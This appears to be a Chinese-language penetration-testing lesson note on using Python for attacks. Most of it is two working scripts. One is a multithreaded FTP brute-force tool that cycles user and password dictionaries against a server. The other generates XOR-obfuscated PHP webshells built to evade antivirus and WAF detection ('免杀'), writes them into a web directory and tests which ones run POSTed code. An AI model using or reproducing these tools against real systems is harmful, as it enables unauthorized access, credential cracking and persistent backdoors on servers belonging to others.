协议模块使用,Request 爬虫技术,简易多线程技术,编码技术,Bypass 后门技术
#学习目的:掌握利用强大的模块实现各种协议连接操作(爆破或利用等),配合 Fuzz 吊打 WAF 等
案例 1-Python 开发-简单多线程技术实现脚本
queue,threading 模块使用
案例 2-Python 开发-利用 FTP 模块实现协议爆破脚本
1.ftplib 模块使用
2.遍历用户及密码字典
3.尝试连接执行命令判断
案例 3-Python 开发-配合 Fuzz 实现免杀异或 Shell 脚本
1.免杀异或 Shell 原理讲解及开发思路(参考及举例:!^@,”^?等)
2.基于 Fuzz 思路生成大量 Payload 代码并有序命名写入网站文件中
3.基于多线程实现批量访问 Shell 文件并提交测试是否正常连接回显
利用 FTP 模块实现协议爆破脚本 ,开发-简单多线程技术实现脚本 :
import ftplibimport threading #多线程库import queue #保证线程间数据的安全性和一致性import sys#利用Python开发其他协议爆破脚本#爆破:ip,端口,用户名,密码字典def ftp_check():while not q.empty():dict=q.get()dict=dict.split('|') #用|区分账号密码,split对字符串切片username=dict[0] #账号password=dict[1] #密码ftp=ftplib.FTP()try:ftp.connect('192.168.0.101',21) #连接数据库的ip和端口ftp.login(username,password)ftp.retrlines('list') #使用RETR命令获取txt文件多行信息ftp.close()print('success|'+username+'|'+password)except ftplib.all_errors: #表示库里面所有错误的处理print('failed|'+username+'|'+password)ftp.close()passif __name__ == '__main__':print("python ftp_burte.py user.txt pass.txt 10")user_file=sys.argv[1]pass_file = sys.argv[2]thread_x=sys.argv[3]q=queue.Queue() #传递参数for username in open(user_file): #账号字典for password in open(pass_file): #密码字典username = username.replace('\n', '') #去空处理password = password.replace('\n', '')diclist=username+'|'+passwordq.put(diclist) #将账号密码组合起来,用|连接区分,一起发送过去for x in range(int(thread_x)):t=threading.Thread(target=ftp_check) #创建线程去执行ftp_check函数t.start()
配合 Fuzz 实现免杀异或 Shell 脚本 :
https://blog.csdn.net/qq_41617034/article/details/104441032
import requestsimport timeimport threading,queuedef string():while not q.empty():filename=q.get()url = 'http://127.0.0.1:8081/x/' + filenamedatas = {'x': 'phpinfo();'}result = requests.post(url, data=datas).content.decode('utf-8')if 'XIAODI-PC' in result:print('check->'+filename+'->ok')else:print('check->'+filename+'->no')time.sleep(1)def shell_test_check():url='http://127.0.0.1:8081/x/33xd64.php'datas={'x':'phpinfo();'}result=requests.post(url,data=datas).content.decode('utf-8')print(result)if 'XIAODI-PC' in result:print('ok')if __name__ == '__main__':q=queue.Queue()for i in range(33, 127):for ii in range(33, 127):payload = "'" + chr(i) + "'" + '^' + "'" + chr(ii) + "'"code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"filename = str(i) + 'xd' + str(ii) + '.php'q.put(filename)with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a') as f:f.write(code)f.close()print('Fuzz文件生成成功')for x in range(20):t=threading.Thread(target=string)t.start()
